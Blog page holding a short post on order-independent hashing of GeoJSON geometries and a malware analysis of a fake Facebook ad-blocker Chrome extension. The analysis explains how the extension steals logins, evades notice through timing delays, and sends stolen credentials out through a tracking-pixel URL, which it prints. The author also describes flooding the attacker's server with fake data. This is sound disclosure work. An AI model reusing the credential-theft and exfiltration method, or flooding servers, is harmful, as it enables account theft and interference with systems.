26 May 2024
While writing a comparator for GeoJSON Feature Collections I encountered an interesting problem:
Whenever you want to compare two (or more) huge lists with each other, you quickly end up using hashes.
You can associate your objects to an hash, put them in a hash map, and lookup values (in this case, duplicates) in O(1) time, resulting in far less computationally expensive operations.
In GeoJSON each FeatureCollection (you see this a map, with added Points, Lines, and Areas) contains Features, which contain Geometry, which in the case of LineString and Polygon are a set of coordinates.
Hashing produces a (expected) unique value for one object.
But the underlying information that a Geometry encodes is not a fixed-set of coordinates, but rather an area (Polygon) or a line (Line String).
A single area (or line) can be expressed in multiple sets of Coordinates, since the direction or order of the underlying vectors are not considered, but the area which they span in the end.
Think of this polygon [A, B, C, D, E, F, A]
It spans the same exact area as this Polygon [D, E, F, A, B, C, D]
In the case of polygons, you can shift your cyclical coordinates however you want.
In LineStrings you see similiar behaviour . You can read them palindromically.
[A, B, C, D, E]
[E, D, C, B, A]
If your hashing function needs to provide a hash, unique to the shape of your Geometry, not to the particular set of coordinates, you need to be able to consistenly choose a starting point.
The actual part that gets hashed should stay the same, whether or not you enter [A, B, C, D, E, A] or [C, D , E, A, B, C] or any other mutations.
To do this, we have to consistenly choose a starting point. After thinking far too long about how I can sort coordinates reliability, I chose the easy way out:
This function returns the same coordinate for all mutations.
Now we can override our hashCode() function
Note: The equals function override actually checks if the coordinates are the same, because our hashing can lead to collisions
05 Feb 2020
Today I saw a sketchy Facebook ad, an empty “Blogging” site with stock photos advertised an “Ad blocker for Facebook”.
I checked out the site, and saw that it only had negative reviews, stating that it didn’t work and slowed down their browser. This made me curious.
The Extension
The extension claims to block out Facebook advertisements, and — ironically — advertises itself on Facebook for it. This strategy is quite simple but ingenious, I mean who likes to see ads while browsing Facebook? Also if you are seeing their advertisement, you obviously have no AdBlocker installed for it.
The Chrome Web Store says it has a total of 10k+ users.
Behind the Scenes
Analyzing Google Chrome Extensions can be quite easy, atleast when the code — like in this example — isnt obfuscated.
You can just download it, get the unique extension ID from chrome://extensions, and then look at the source code found in your Profile Folder\Extensions\IDofYourExtension.
Basic Structure
The Extension folder has 4 subfolders, a empty .vs folder, suggesting that the developers used Visual Studio, a _metadata folder filled with file hashes, this seems to be a Chrome Extension standard to guarantee that the files haven’t been modified or corrupted, a img folder with the extension logo, and finally the interesting part: A folder named js.
This folder has a total of 4 non obfuscated JavaScript files, and — as all good JavaScript programs — a jQuery dependency.
We will focus on 2 files: background.js and fb3.js.
In background.js, a listener is added when the Chrome extension is installed, it waits 25 seconds until it executes the function s_fun_en()
The delay of 25 seconds is interesting, the extension tries to not raise suspicion with a variety of timing strageties.
The function s_fun_en() is full of these timing strageties. First it creates a timestamp, and saves it to the variable n, which will later be compared to the app.lt variable, while ensuring that app.lt is not the default value of 0.
app.lt is the timestamp of installation, the function s_fun_en() results in nothing until 11 hours have passed since the installation.
This condition is true when n (the current timestamp) is bigger than the installation timestamp + 11 hours.
If 11 hours have passed the extension begins working: It removes 2 cookies from Facebook, resulting in deauthentication, and also marks the time when the user was kicked out of his Facebook account in the app.ltr variable.
This helps the extension to remain under the radar, so the user does not raise suspicion when he is logged out directly after installing this extension.
This is when we have a look at the fb3.js file, it listens for the moment when the user is logging into Facebook again.
The extension steals the E-Mail and password, and sends it to the message listener in background.js
The listener saves the E-Mail and password combination into the app.ld variable, and proceeds to store the c_user cookie in app.u, containing the unique ID of the victims Facebook profile. If it can’t find this cookie, it executes the function again, until it gives up after a minute.
The fb3.js has another function, which constantly tries to grab the Facebook access token, if it succeeds it is also stored in app.t
So now the extension has successfully grabbed the E-Mail and Password, the unique ID, and the access token.
The obtained information is quite critical, the E-Mail and Password could be used to access the users Facebook account, or to access other accounts in which the same combination is used.
The extension has gathered a lot of information, the breaking point however is how it transfers this information back to the owner.
The Exfil
Typically, malware has a breaking point: The Exfiltration of it’s stolen data, or contacting a C&C Server to receive further instructions.
While code can be obfuscated, and (most of the times) gives no clue to whoever made it, the malware has to contact some server (which can be reported, to law enforcement or easier the hosting provider) to submit it’s findings.
After all the work on the local side is done, background.js get’s to work again:
It checks if all the needed data is grabbed, and saves the E-Mail password combination into d, base64 encodes it, and then embeds a picture.
The picture is generated from www.en-antibanner.ru/img.php , and the extension adds a lot of parameters to it.
https://en-antibanner.ru/img.php?d=EMailAndPassword&u=UserID&l=&rnd=RandomNumber
This picture is 1x1 big, so you really wouldn’t see it.
Loading an image, rather than making a POST request to some sketchy server, is less likely to be detected.
Measures taken
I reported the extension to the Chrome Web Store and Facebook, I will talk more about in a second. Note from future Altay: Chrome took it down, and also heavily improved their extension security with Manifest V3
I had a quite funny idea: What would happen if you would trash their database by adding tons and tons of random data. They would get the infected users credentials for sure, but they would have to search for it between all the junk data.
I wrote a quick JavaScript which creates a fake E-Mail and Password combination, a fake User ID and then sends it to the server.
You can add fake data by visiting this JSFiddle and hitting the “Run” Button, once, twice or maybe a thousand times. Future Altay: The website is down, it was fun nonetheless
Thank you for reading! I am not quite sure how to think about this, Chrome Web Store has virtually no security measures, I wasn’t warned that this file could be a virus and the extension seems to be able to do just about everything, while users can install it with one-click. Future Altay: Manifest V3 is better I guess, although users will probably accept every single permission requested
You can look into the extension yourself, I uploaded it to my GitHub